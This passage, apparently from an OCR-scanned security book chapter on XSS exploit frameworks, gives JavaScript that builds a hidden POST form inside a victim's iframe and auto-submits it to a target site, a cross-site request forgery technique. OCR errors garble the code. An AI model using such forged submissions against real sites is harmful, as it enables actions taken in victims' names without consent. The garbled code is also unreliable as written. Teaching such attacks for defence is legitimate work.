XSS Attacks

Exploit Frameworks

9

Chapter 7 353

form=window, frames [0] . document, createElement (' FORM' ) ;

form. method=" POST" ;

form. action="http ://csrftarget. corn" ;

window, frames [ 0 ] . document .body. appendChild (form) ;

inputl=window, frames [0] . document, createElement ( ' input ' ) ;

inputl, type= ' hidden' ;

inputl .name= ' search' ;

input I. value= "payload" ;

form. appendChild ( inputl ) ;

form. submit () ;

This code creates a POST form and associated input within the IFRAME

(winclow.frames[O])

of the victim's browser, then performs a JavaScript submit of the form.

If when doing ...